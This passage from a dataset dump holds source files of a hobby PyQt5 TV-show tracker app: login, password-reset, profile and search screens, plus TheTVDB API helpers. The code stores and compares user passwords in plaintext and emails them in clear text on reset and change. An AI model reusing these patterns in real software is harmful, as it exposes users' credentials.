QtCore.Qt.AlignCenter)\n\n blank = QSpacerItem(QSizePolicy.Expanding, QSizePolicy.Minimum)\n self.grid.addItem(blank, 0, 2, 1, 1)\n\n self.sign_up_button = QPushButton('Sign Up', self)\n self.sign_up_button.clicked.connect(self.sign_up)\n self.grid.addWidget(self.sign_up_button, 5, 0, QtCore.Qt.AlignCenter)\n\n self.login_button = QPushButton('Login', self)\n self.grid.addWidget(self.login_button, 5, 1, QtCore.Qt.AlignCenter)\n self.login_button.clicked.connect(self.authenticate)\n\n self.user_text_field = QLineEdit(self)\n self.user_text_field.returnPressed.connect(self.authenticate)\n self.grid.addWidget(self.user_text_field, 2, 1, QtCore.Qt.AlignCenter)\n\n self.password_text_field = QLineEdit(self)\n self.password_text_field.setEchoMode(QLineEdit.Password)\n self.password_text_field.returnPressed.connect(self.authenticate)\n self.grid.addWidget(self.password_text_field, 3, 1, QtCore.Qt.AlignCenter)\n\n self.auth_label = QLabel(self)\n self.grid.addWidget(self.auth_label, 4, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n blank = QSpacerItem(5, 0, QSizePolicy.Minimum, QSizePolicy.Expanding)\n self.grid.addItem(blank)\n\n self.forgot_password_label = ClickableLabel('reset_password')\n self.forgot_password_label.setText('Forgot Password?')\n self.forgot_password_label.clicked.connect(self.reset)\n self.grid.addWidget(self.forgot_password_label, 6, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n menu = QMenu()\n menu.addAction('Exit')\n self.show()\n\n def authenticate(self):\n with session_scope(Session) as session:\n user = session.query(User).filter_by(username=self.user_text_field.text().strip()).one_or_none()\n if user is not None and user.password == self.password_text_field.text().strip():\n # self.auth_label.setPixmap(QPixmap.fromImage((QImage.fromData(user.pic))))\n self.close()\n self.home = Home(user)\n self.home.show()\n else:\n self.auth_label.setStyleSheet('color:red')\n self.auth_label.setText('Username and Password doesn\\'t match')\n\n def sign_up(self):\n self.sign_up_sub_window.setWindowModality(Qt.ApplicationModal)\n self.sign_up_sub_window.clear()\n self.sign_up_sub_window.show()\n\n def reset(self):\n self.reset_password_sub_window.setWindowModality(Qt.ApplicationModal)\n self.reset_password_sub_window.clear()\n self.reset_password_sub_window.show()\n\n\ndef main():\n app = QApplication(sys.argv)\n app.setWindowIcon(QIcon(get_path('resources/icons/app.ico')))\n ex = Login()\n app.exec_()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6441203951835632, "alphanum_fraction": 0.6518771052360535, "avg_line_length": 41.973331451416016, "blob_id": "47f2781762e07614b921e2f222d002ac4ec0ed89", "content_id": "5c953b7f5fb1365cbc35d159a89c97aa444ad7b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3223, "license_type": "permissive", "max_line_length": 121, "num_lines": 75, "path": "/gui/screens/reset_password.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import sys\nimport re\nfrom pathlib import Path\n\nfrom PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, QRegExp\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QMessageBox, QDialog\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QRegExpValidator, QPalette\n\nfrom common.resources.db.users import User, engine, Session\nfrom common.utils.utils import get_binary, send_mail, SendMailThread, generate_password\nfrom utils.session import session_scope\n\n\nclass ResetPassword(QMainWindow):\n def __init__(self, main_window_pos, parent):\n super().__init__(parent)\n self.main_window_pos = main_window_pos\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry((self.main_window_pos.x() + (self.main_window_pos.x() // 25)),\n (self.main_window_pos.y() + (self.main_window_pos.y() // 2)), 300, 250)\n self.setWindowTitle('Forgot Password')\n\n main_widget = QWidget(self)\n self.setCentralWidget(main_widget)\n\n self.grid = QGridLayout()\n main_widget.setLayout(self.grid)\n self.grid.setSpacing(10)\n\n self.user_label = QLabel('Username', self)\n self.grid.addWidget(self.user_label, 0, 0, QtCore.Qt.AlignCenter)\n\n self.user_text_field = QLineEdit(self)\n self.user_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.user_text_field, 0, 1, QtCore.Qt.AlignCenter)\n\n self.reset_button = QPushButton('Reset', self)\n self.reset_button.setDisabled(True)\n self.reset_button.clicked.connect(self.reset)\n self.grid.addWidget(self.reset_button, 1, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n def clear(self):\n self.user_text_field.clear()\n\n def validate(self):\n if self.user_text_field.text():\n self.reset_button.setDisabled(False)\n else:\n self.reset_button.setDisabled(True)\n\n def reset(self):\n self.op_pop_up = QMessageBox(self)\n username = self.user_text_field.text().strip()\n with session_scope(Session) as session:\n user = session.query(User).filter_by(username=username).one_or_none()\n if user is not None:\n random_password = generate_password()\n user.password = random_password\n self.op_pop_up.setIcon(QMessageBox.Information)\n self.op_pop_up.setText('Yay!')\n self.op_pop_up.setInformativeText(f'You will receive an e-mail with a new password.')\n self.send_mail_thread = SendMailThread(user.email, user.username, user.password)\n self.send_mail_thread.message_type = 'reset_password'\n self.send_mail_thread.start()\n else:\n self.op_pop_up.setIcon(QMessageBox.Warning)\n self.op_pop_up.setText('Ohh No!')\n self.op_pop_up.setInformativeText(f'Account with username {username} does not exist.')\n\n self.op_pop_up.exec_()\n self.reset_button.setDisabled(True)\n" }, { "alpha_fraction": 0.647522509098053, "alphanum_fraction": 0.6548423171043396, "avg_line_length": 32.50943374633789, "blob_id": "9dc773b3f219a07e58c1f3a7c9408fe98e06278d", "content_id": "a5e6cb6ff6caface07a4773b33facac9eee5ed75", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1776, "license_type": "permissive", "max_line_length": 120, "num_lines": 53, "path": "/common/utils/api_utils.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import requests\nimport requests_cache\n\n# path when running from gui\nrequests_cache.install_cache(cache_name='../common/cache/api', backend='sqlite', expire_after=86400)\n\n# requests_cache.install_cache(cache_name='../../common/cache/api', backend='sqlite', expire_after=86400)\n\n\nresource_base_url = 'https://thetvdb.com'\napi_base_url = 'https://api.thetvdb.com'\nresource_base_url_per_ep = 'https://thetvdb.com/banners/'\nheaders = {}\n\n\ndef get_jwt():\n data = {'apikey': 'api_key', 'username': 'username',\n 'userkey': 'user_key'}\n with requests_cache.disabled():\n response = requests.post(f'{api_base_url}/login', json=data)\n if response.status_code == 200:\n global headers\n jwt = response.json()['token']\n headers['Authorization'] = f'Bearer {jwt}'\n return jwt\n\n\ndef search_show(show_name):\n shows = requests.get(f'{api_base_url}/search/series', params={'name': show_name}, headers=headers).json()\n cols_needed = ('id', 'seriesName', 'status', 'image', 'overview', 'network', 'firstAired')\n if shows.get('Error'): return None\n yield from (\n dict(zip(cols_needed, (show.get(col) if show.get(col) is not None else 'Not Available' for col in cols_needed)))\n for\n show in shows['data'])\n\n\ndef get_image(url):\n return requests.get(resource_base_url + url, headers=headers).content\n\n\ndef get_episode_count(show_id):\n url = f'{api_base_url}/series/{show_id}/episodes/summary'\n response_json = requests.get(url, headers=headers).json()\n season_list, episode_count, *_ = response_json['data'].values()\n return season_list, int(episode_count)\n\n\ndef get_image_per_ep(url):\n return requests.get(resource_base_url_per_ep + url, headers=headers).content\n\n\nget_jwt()\n" }, { "alpha_fraction": 0.5406712293624878, "alphanum_fraction": 0.5603107213973999, "avg_line_length": 38.439308166503906, "blob_id": "206588447d9b58b2aa9aa06371b3a38a4a9d2016", "content_id": "2b38c09a9f12ebcdc57c81f66a1de92791c06689", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6823, "license_type": "permissive", "max_line_length": 121, "num_lines": 173, "path": "/gui/screens/search.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import sys\nimport re\nfrom pathlib import Path\n\nfrom PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, QRegExp, Qt, QSize, QTimeLine\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QMessageBox, QDialog, QScrollArea, QFrame, QVBoxLayout, QStackedWidget\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QRegExpValidator, QPalette, QPixmap, QImage, QBrush, QPainter\n\nsys.path.append('../../')\n\nfrom common.utils.api_utils import search_show, get_image, resource_base_url\n\nfrom common.utils.utils import get_path, get_binary, make_dark, StackedWidget\n\n\nclass GetImageThread(QThread):\n signal = pyqtSignal('PyQt_PyObject')\n\n def __init__(self, img_url, stack, show_frame, widget):\n super().__init__()\n self.img_url = img_url\n self.stack = stack\n self.show_frame = show_frame\n self.widget = widget\n\n def run(self):\n print('running')\n img = get_image(self.img_url)\n\n pallete = QPalette()\n label = QLabel(self.widget)\n\n label.setPixmap(QPixmap.fromImage((QImage.fromData(img)).scaled(680 / 2, 1000 / 2, Qt.KeepAspectRatio)))\n self.stack.addWidget(label)\n\n self.widget.setAutoFillBackground(True)\n pallete.setBrush(QPalette.Background, QBrush(\n QPixmap.fromImage(make_dark(QImage.fromData(img), 160)).scaled(680 / 2, 1000 / 2, Qt.KeepAspectRatio)))\n self.show_frame.setPalette(pallete)\n\n\nclass Search(QMainWindow):\n def __init__(self, main_window_pos, cur_user):\n super().__init__()\n self.cur_user = cur_user\n self.stack_widgets = []\n self.main_window_pos = main_window_pos\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry(self.main_window_pos.x(), (self.main_window_pos.y() + (self.main_window_pos.y() // 6)), 360,\n 480)\n self.setWindowTitle('Search')\n\n self.search_widget = QWidget()\n\n self.grid = QGridLayout()\n self.grid.setSpacing(10)\n self.grid.setAlignment(Qt.AlignTop)\n\n self.search_text_field = QLineEdit(self)\n self.search_text_field.setPlaceholderText('Enter the name of a TV show you want to track')\n self.search_text_field.returnPressed.connect(self.display)\n\n self.grid.addWidget(self.search_text_field, 0, 0, 1, 3)\n\n self.search_widget.setLayout(self.grid)\n\n self.scroll_area = QScrollArea(self)\n self.scroll_area.setWidget(self.search_widget)\n self.setCentralWidget(self.scroll_area)\n self.scroll_area.setWidgetResizable(True)\n\n self.search_text_field.setText('the mick')\n\n # self.showFullScreen()\n # self.show()\n\n def display(self):\n self.setGeometry(180, 25, 1068, 1088)\n for show_frame in self.stack_widgets:\n self.grid.removeWidget(show_frame)\n show_frame.setParent(None)\n self.stack_widgets = []\n\n row = 0\n col = -1\n for pos_idx, show in enumerate(search_show(self.search_text_field.text().strip())):\n\n stack = StackedWidget(str(show['id']))\n\n show_frame = QFrame(self)\n show_frame.setFrameShape(QFrame.StyledPanel)\n show_frame.setFixedSize(680 // 2, 1000 // 2)\n self.stack_widgets.append(stack)\n\n stack.addWidget(show_frame)\n\n v_box = QVBoxLayout()\n\n ####\n scroll_area = QScrollArea()\n scroll_area.setWidget(show_frame)\n # scroll_area.setWidgetResizable(True)\n ###\n # get_image_thread=GetImageThread(show['image'],stack,show_frame,self)\n # get_image_thread.start()\n\n # show['image']=get_image_thread.img\n show['image'] = get_image(show['image']) # this is an expensive line\n\n for key, val in show.items():\n if key == 'image':\n pallete = QPalette()\n label = QLabel(self)\n\n label.setPixmap(QPixmap.fromImage(\n (QImage.fromData(show['image'])).scaled(680 / 2, 1000 / 2, Qt.KeepAspectRatio)))\n stack.addWidget(label)\n\n self.setAutoFillBackground(True)\n pallete.setBrush(QPalette.Background, QBrush(\n QPixmap.fromImage(make_dark(QImage.fromData(val), 160)).scaled(680 / 2, 1000 / 2,\n Qt.KeepAspectRatio)))\n show_frame.setPalette(pallete)\n\n # t.setPixmap(QPixmap.fromImage((QImage.fromData(val))).scaled(680/2,1000/2,Qt.KeepAspectRatio))\n\n if key == 'id':\n ...\n # add to database?\n\n else:\n val_label = QLabel(self)\n if key == 'seriesName':\n val_label.setStyleSheet('font-family:Apple Chancery;font-size:30px;color:#f07192')\n val_label.setText(val)\n elif key == 'status':\n if val == 'Ended':\n val_label.setStyleSheet('font-size:15px;color:#e63749')\n elif val == 'Continuing':\n val_label.setStyleSheet('font-size:15px;color:#6dfc93')\n else:\n val_label.setStyleSheet('font-size:15px;color:#48f0ad')\n val_label.setText(f'Status : {val}')\n elif key == 'overview':\n if val != 'Not Available' and len(val) > 500:\n val = val[:500] + '...'\n val_label.setStyleSheet('font-size:15px;color:white')\n val_label.setText(val)\n else:\n if key == 'network':\n val_label.setText(f'Network : {val}')\n elif key == 'firstAired':\n val_label.setText(f'First Aired : {val}')\n val_label.setStyleSheet('font-size:15px;color:white')\n\n val_label.setWordWrap(True)\n val_label.setAlignment(Qt.AlignCenter)\n v_box.addWidget(val_label)\n\n show_frame.setLayout(v_box)\n stack.addWidget(show_frame)\n\n row, col = (row + 1, 0) if not pos_idx % 3 else (row, col + 1)\n\n # stack.installEventFilter(self)\n\n stack.clicked.connect(lambda: print(self.sender().objectName()))\n\n self.grid.addWidget(stack, row, col, 1, 1, Qt.AlignCenter)\n" }, { "alpha_fraction": 0.6601208448410034, "alphanum_fraction": 0.6827794313430786, "avg_line_length": 39.121212005615234, "blob_id": "a0f8313ce28301f36122adfd316dd675e8ff5246", "content_id": "41b28f8825a676f43f1f432e6409d04eaa302844", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1324, "license_type": "permissive", "max_line_length": 121, "num_lines": 33, "path": "/gui/screens/episode.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "from PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, QRegExp, Qt, QSize, QTimeLine\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QMessageBox, QDialog, QScrollArea, QFrame, QVBoxLayout, QStackedWidget\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QRegExpValidator, QPalette, QPixmap, QImage, QBrush, QPainter\n\n\nclass Episode(QMainWindow):\n def __init__(self):\n # def __init__(self,main_window_pos,cur_user):\n super().__init__()\n # self.id_=id_\n # self.cur_user=cur_user\n # self.main_window_pos=main_window_pos\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry(760, 300, 1000, 1000)\n # self.setGeometry(self.main_window_pos.x(),(self.main_window_pos.y()+(self.main_window_pos.y()//6)),360, 480)\n self.setWindowTitle(f'{1}') # recieve show name or use api to get that\n\n self.search_widget = QWidget()\n\n self.grid = QGridLayout()\n self.grid.setSpacing(10)\n self.grid.setAlignment(Qt.AlignTop)\n\n self.show()\n\n\napp = QApplication([])\nex = Episode()\napp.exec_()\n" }, { "alpha_fraction": 0.6629551649093628, "alphanum_fraction": 0.6707794070243835, "avg_line_length": 42.155845642089844, "blob_id": "a76d0b9420a370d43f5ab6a511159ca699a3319b", "content_id": "1448d02a525851a7fba975a78e3f9a5200cafbd4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3323, "license_type": "permissive", "max_line_length": 121, "num_lines": 77, "path": "/gui/screens/home.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import sys\n\nfrom PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, QRegExp, Qt, QSize\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QMessageBox, QToolBar, QAction, QToolButton, QScrollArea\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QRegExpValidator, QPalette, QPixmap, QImage\n\nfrom common.utils.utils import get_path\nfrom utils.session import session_scope\nfrom common.resources.db.users import User, engine, Session\n\n\nclass Home(QMainWindow):\n def __init__(self, cur_user):\n super().__init__()\n self.cur_user = cur_user\n self.home = QGridLayout()\n self.search = QGridLayout()\n self.profile = QGridLayout()\n self.grid = QGridLayout()\n\n self.options_bar = QToolBar()\n self.options_bar.setIconSize(QSize(75, 75))\n self.options_bar.setMovable(False)\n\n self.home_tool_button = QToolButton(self)\n # self.home_tool_button.setCheckable(True)\n self.home_tool_button.setIcon(QIcon(get_path('resources/icons/home.png')))\n self.home_tool_button.setToolTip('Home')\n self.home_tool_button.setObjectName('home')\n self.home_tool_button.clicked.connect(self.show_grid)\n self.options_bar.addWidget(self.home_tool_button)\n\n self.search_tool_button = QToolButton(self)\n # self.search_tool_button.setCheckable(True)\n self.search_tool_button.setIcon(QIcon(get_path('resources/icons/tv.png')))\n self.search_tool_button.setToolTip('Explore')\n self.search_tool_button.setObjectName('search')\n self.search_tool_button.clicked.connect(self.show_grid)\n self.options_bar.addWidget(self.search_tool_button)\n\n self.profile_tool_button = QToolButton(self)\n # self.profile_tool_button.setCheckable(True)\n self.profile_tool_button.setIcon(QIcon(QPixmap.fromImage((QImage.fromData(self.cur_user.pic)))))\n self.profile_tool_button.setToolTip('Profile')\n self.profile_tool_button.setObjectName('profile')\n self.profile_tool_button.clicked.connect(self.show_grid)\n self.options_bar.addWidget(self.profile_tool_button)\n\n label = QLabel('Home', self)\n self.grid.addWidget(label, 0, 0, 1, 5)\n self.home.setObjectName('home')\n label = QLabel('Search', self)\n self.search.addWidget(label, 0, 0, 1, 5)\n self.search.setObjectName('search')\n label = QLabel('Profile', self)\n self.profile.addWidget(label, 0, 0, 1, 5)\n self.profile.setObjectName('profile')\n\n self.addToolBar(Qt.LeftToolBarArea, self.options_bar)\n self.show()\n\n def show_grid(self):\n print(self.sender().objectName())\n if self.sender().objectName() == 'home':\n self.setCentralWidget(self.home)\n\n elif self.sender().objectName() == 'search':\n self.home.setVisible(0)\n self.search.setVisible(1)\n self.profile.setVisible(0)\n elif self.sender().objectName() == 'profile':\n self.home.setVisible(0)\n self.search.setVisible(0)\n self.profile.setVisible(1)\n" }, { "alpha_fraction": 0.7231565117835999, "alphanum_fraction": 0.7244501709938049, "avg_line_length": 29, "blob_id": "94987abe16d8cbddd634aead9ca70b123edb6dbe", "content_id": "b1d7c0d9e54f267aa117f0a9c71a5b5f251acfae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 773, "license_type": "permissive", "max_line_length": 186, "num_lines": 25, "path": "/README.md", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "# TV Tracker\r\n\r\nTV Tracker is an application that will let the user search for TV Shows and keep track of them. This application is powered by [PyQt5](https://www.riverbankcomputing.com/software/pyqt/).\r\n\r\n## Installation\r\n\r\nUse the package manager [pip](https://pip.pypa.io/en/stable/) to install the necessary dependencies for TV Tracker to run.\r\n\r\n```bash\r\npip install -r requirements.txt\r\n```\r\n\r\n## Usage\r\nGet API keys from [TheTVDB](https://thetvdb.com/).\r\n\r\n\r\n```shell\r\npython gui/gui.py\r\n```\r\n\r\n![Alt text](homescreen.png \"TV Tracker Home Screen, Showing the different possible options available\")\r\n![Alt text](searchscreen.png \"TV Tracker Search Screen, Screen showing the search result for a TV Show\")\r\n\r\n## License\r\n[MIT](https://choosealicense.com/licenses/mit/)" }, { "alpha_fraction": 0.6462557911872864, "alphanum_fraction": 0.6544731855392456, "avg_line_length": 46.75316619873047, "blob_id": "c71d7b5ad55f54843c034ff512d54ae08520a942", "content_id": "ef3e2c0fd5dffcd0d3cd4241f73b26853f873b62", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7545, "license_type": "permissive", "max_line_length": 121, "num_lines": 158, "path": "/gui/screens/profile.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import re\n\nfrom PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QVBoxLayout, QMessageBox\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QPixmap, QImage, QPalette\n\nfrom common.resources.db.users import User, engine, Session\nfrom common.utils.utils import get_binary, get_path, send_mail, SendMailThread\nfrom utils.session import session_scope\n\n\nclass Profile(QMainWindow):\n def __init__(self, main_window_pos, cur_user):\n super().__init__()\n self.main_window_pos = main_window_pos\n self.cur_user = cur_user\n self.pic_dir = self.cur_user.pic\n self.init_UI()\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry(self.main_window_pos.x(), (self.main_window_pos.y() + (self.main_window_pos.y() // 2)), 300,\n 250)\n self.setWindowTitle('Profile Settings')\n\n main_widget = QWidget(self)\n self.setCentralWidget(main_widget)\n\n self.grid = QGridLayout()\n main_widget.setLayout(self.grid)\n self.grid.setSpacing(10)\n\n self.user_label = QLabel('Username', self)\n self.grid.addWidget(self.user_label, 0, 0, QtCore.Qt.AlignCenter)\n\n self.user_text_label = QLabel(self)\n self.user_text_label.setText(self.cur_user.username)\n self.grid.addWidget(self.user_text_label, 0, 1, QtCore.Qt.AlignCenter)\n\n self.email_label = QLabel('Email', self)\n self.grid.addWidget(self.email_label, 1, 0, QtCore.Qt.AlignCenter)\n\n self.email_text_label = QLabel(self)\n self.email_text_label.setText(self.cur_user.email)\n self.grid.addWidget(self.email_text_label, 1, 1, QtCore.Qt.AlignCenter)\n\n self.type_label = QLabel('Type', self)\n self.grid.addWidget(self.type_label, 2, 0, QtCore.Qt.AlignCenter)\n\n self.type_text_label = QLabel(self)\n self.type_text_label.setText(self.cur_user.role)\n self.grid.addWidget(self.type_text_label, 2, 1, QtCore.Qt.AlignCenter)\n\n self.old_password_label = QLabel('Old Password', self)\n self.grid.addWidget(self.old_password_label, 3, 0, QtCore.Qt.AlignCenter)\n\n self.new_password_label = QLabel('New Password', self)\n self.grid.addWidget(self.new_password_label, 4, 0, QtCore.Qt.AlignCenter)\n\n self.confirm_password_label = QLabel('Confirm New Password', self)\n self.grid.addWidget(self.confirm_password_label, 5, 0, QtCore.Qt.AlignCenter)\n\n self.old_password_text_field = QLineEdit(self)\n self.old_password_text_field.setObjectName('old_password')\n self.old_password_text_field.setEchoMode(QLineEdit.Password)\n self.old_password_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.old_password_text_field, 3, 1, QtCore.Qt.AlignCenter)\n\n self.new_password_text_field = QLineEdit(self)\n self.new_password_text_field.setObjectName('password')\n self.new_password_text_field.setEchoMode(QLineEdit.Password)\n self.new_password_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.new_password_text_field, 4, 1, QtCore.Qt.AlignCenter)\n\n self.confirm_password_text_field = QLineEdit(self)\n self.confirm_password_text_field.setObjectName('confrim_password')\n self.confirm_password_text_field.setEchoMode(QLineEdit.Password)\n self.confirm_password_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.confirm_password_text_field, 5, 1, QtCore.Qt.AlignCenter)\n\n self.browse_button = QPushButton('Change Profile Pic', self)\n self.browse_button.clicked.connect(self.browse)\n self.grid.addWidget(self.browse_button, 8, 0)\n\n self.remove_pic_button = QPushButton('Remove Profile Pic', self)\n self.remove_pic_button.clicked.connect(self.remove)\n self.grid.addWidget(self.remove_pic_button, 8, 1)\n\n self.valid_password_label = QLabel('Password Strength', self)\n self.valid_password_label.setStyleSheet('color:red')\n self.grid.addWidget(self.valid_password_label, 6, 0, QtCore.Qt.AlignCenter)\n\n self.match_password_label = QLabel('Passwords Match', self)\n self.match_password_label.setStyleSheet('color:red')\n self.grid.addWidget(self.match_password_label, 6, 1, QtCore.Qt.AlignCenter)\n\n self.change_password_button = QPushButton('Change Password', self)\n self.change_password_button.setDisabled(True)\n self.change_password_button.clicked.connect(lambda x: self.update('password'))\n self.grid.addWidget(self.change_password_button, 7, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n self.inputs = (self.old_password_text_field, self.confirm_password_text_field, self.new_password_text_field)\n\n def clear(self):\n for field in self.inputs:\n field.clear()\n\n def browse(self):\n self.pic_dir = \\\n QFileDialog.getOpenFileName(self, \"Select Profile Picture\", '.', 'Image Files (*.jpg *.jpeg *.png)')[0]\n # self.pic_dir=get_binary(self.pic_dir) if self.pic_dir else self.cur_user.pic\n if self.pic_dir:\n self.pic_dir = get_binary(self.pic_dir)\n self.update('image')\n else:\n self.pic_dir = self.cur_user.pic\n\n def remove(self):\n self.pic_dir = get_binary(get_path('resources/icons/default_av.png'))\n self.update('image')\n\n def validate(self):\n sender = self.sender().objectName()\n\n if sender == 'password':\n match = re.search(r\"^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\\$%\\^&\\*])(?=.{8,})\", self.sender().text())\n self.valid_password_label.setStyleSheet(f'color:{\"green\" if match else \"red\"}')\n\n elif sender == 'confrim_password':\n self.match_password_label.setStyleSheet(\n f'color:{\"green\" if self.sender().text() == self.new_password_text_field.text() else \"red\"}')\n\n allow = list(filter(lambda x: x.palette().color(QPalette.WindowText).name() == '#008000',\n (self.valid_password_label, self.match_password_label)))\n self.change_password_button.setDisabled(False if len(\n allow) == 2 and self.old_password_text_field.text().strip() == self.cur_user.password else True)\n\n def update(self, from_):\n # picture changed only on restart, find a way\n self.op_pop_up = QMessageBox(self)\n with session_scope(Session) as session:\n existing_user = session.query(User).filter_by(username=self.user_text_label.text()).one_or_none()\n if from_ == 'image':\n existing_user.pic = self.pic_dir\n elif from_ == 'password':\n existing_user.password = self.new_password_text_field.text()\n self.send_mail_thread = SendMailThread(existing_user.email, existing_user.username,\n existing_user.password)\n self.send_mail_thread.message_type = 'password_change'\n self.send_mail_thread.start()\n\n self.cur_user = existing_user\n self.op_pop_up.setIcon(QMessageBox.Information)\n self.op_pop_up.setText('Yay!')\n self.op_pop_up.setInformativeText(f'Account details successfully updated')\n self.op_pop_up.exec_()\n" }, { "alpha_fraction": 0.6239281296730042, "alphanum_fraction": 0.6508778929710388, "avg_line_length": 44.35185241699219, "blob_id": "720041d95f246c390f7366ac49a0a59ff05b7686", "content_id": "074b1159059737bc9939c1ad2325c02acf75fb95", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2449, "license_type": "permissive", "max_line_length": 123, "num_lines": 54, "path": "/gui/screens/about.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "from PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QVBoxLayout\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QPixmap, QImage\n\nfrom common.utils.utils import get_binary, get_path\n\n\nclass About(QMainWindow):\n def __init__(self, main_window_pos):\n super().__init__()\n self.main_window_pos = main_window_pos\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry(self.main_window_pos.x(), self.main_window_pos.y(), 360, 600)\n # self.setGeometry(760, 300, 360, 600)\n self.setWindowTitle('About')\n\n main_widget = QWidget(self)\n self.setCentralWidget(main_widget)\n\n self.grid = QGridLayout()\n main_widget.setLayout(self.grid)\n self.grid.setSpacing(10)\n\n self.logo_label = QLabel(self)\n self.logo_label.setPixmap(\n QPixmap.fromImage(QImage.fromData(get_binary(get_path('resources/icons/app.ico')))).scaled(200, 200,\n Qt.KeepAspectRatio))\n self.grid.addWidget(self.logo_label, 0, 0, Qt.AlignCenter)\n\n self.name_label = QLabel('TV Tracker', self)\n self.name_label.setStyleSheet('color:#E3088D;font-family:Apple Chancery;font-size:25px')\n self.grid.addWidget(self.name_label, 2, 0, Qt.AlignCenter)\n\n self.copyright_label = QLabel('\\u00A9' + 'TV Tracker 2020', self)\n self.grid.addWidget(self.copyright_label, 3, 0, Qt.AlignCenter)\n\n self.feedback_label = QLabel('For Queries (Bugs / Features) [email protected]', self)\n # self.feedback_label.setWordWrap(True)\n # self.feedback_label.setFixedWidth(250)\n self.grid.addWidget(self.feedback_label, 4, 0, Qt.AlignCenter)\n\n self.author_label = QLabel('Me Me Me', self)\n # self.author_label.setWordWrap(True)\n # self.author_label.setFixedWidth(250)\n self.grid.addWidget(self.author_label, 5, 0, Qt.AlignCenter)\n\n self.quote_label = QLabel(self)\n self.quote_label.setWordWrap(True)\n # self.quote_label.setFixedWidth(250)\n self.grid.addWidget(self.quote_label, 6, 0, Qt.AlignCenter)\n" }, { "alpha_fraction": 0.6330466270446777, "alphanum_fraction": 0.6415168046951294, "avg_line_length": 48.83116912841797, "blob_id": 